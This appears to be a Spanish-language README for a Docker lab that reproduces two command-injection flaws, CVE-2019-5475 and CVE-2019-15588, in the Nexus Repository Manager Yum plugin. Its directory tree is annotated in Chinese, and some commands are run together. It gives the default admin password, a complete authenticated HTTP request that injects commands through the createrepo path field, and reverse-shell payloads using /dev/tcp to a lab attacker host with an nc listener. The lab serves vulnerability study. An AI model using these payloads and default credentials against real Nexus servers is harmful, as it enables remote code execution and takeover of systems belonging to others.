
Laboratorio CVE-2019-5475: vulnerabilidad de inyección de comandos RCE
Laboratorio CVE-2019-5475 y CVE-2019-15588: vulnerabilidad de inyección de comandos RCE
CVE-2019-5475 es una vulnerabilidad de inyección de comandos RCE en Nexus relacionada con el plugin integrado Yum Repository. Fue divulgada originalmente en hackerone, pero debido a que la primera corrección oficial fue incompleta, se derivó la vulnerabilidad CVE-2019-15588.
Ambas vulnerabilidades solo pueden explotarse tras iniciar sesión como admin, pero la contraseña de administrador predeterminada de Nexus, admin123, a menudo no se modifica, por lo que es fácil explotarlas.
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
cd CVE-2019-5475docker-compose up -dadmin/admin123), donde:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
Este laboratorio también incluye una máquina atacante 172.168.50.2, ubicada en el mismo entorno de red que las dos máquinas objetivo, cuya función es verificar el shell inverso.
Inicie sesión como admin en http://127.0.0.1:8009/nexus/#capabilities; en Administration -> Capabilities -> Yum: Configuration -> Settings puede encontrar el punto de inyección RCE.
Tanto el campo Path of "createrepo" como el de Path of "mergerepo" pueden ser inyectados, y el resultado de la ejecución puede verse en Status.
Por ejemplo, al construir el PoC bash -c id || python en el punto de inyección createrepo, se puede obtener desde Status el resultado de ejecución del comando bash -c id: uid=200(nexus) gid=200(nexus) groups=200(nexus).
Con BurpSuite se puede capturar la solicitud PoC correspondiente:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Este punto de inyección puede explotarse fácilmente para construir un shell inverso:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo mencionado anteriormente: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
La ubicación de la inyección es la misma que la de CVE-2019-5475; ajuste el PoC a: /bin/bash -c id || /createrepo


Esta vulnerabilidad puede usar el mismo método para obtener un shell inverso:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo, construya el payload: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core es el fragmento de código central de Nexus relacionado con esta explotación de vulnerabilidad; se utiliza principalmente para depurar y analizar directamente desde el backend el payload de entrada, sin necesidad de construir un servicio Nexus completo desde el código fuente.
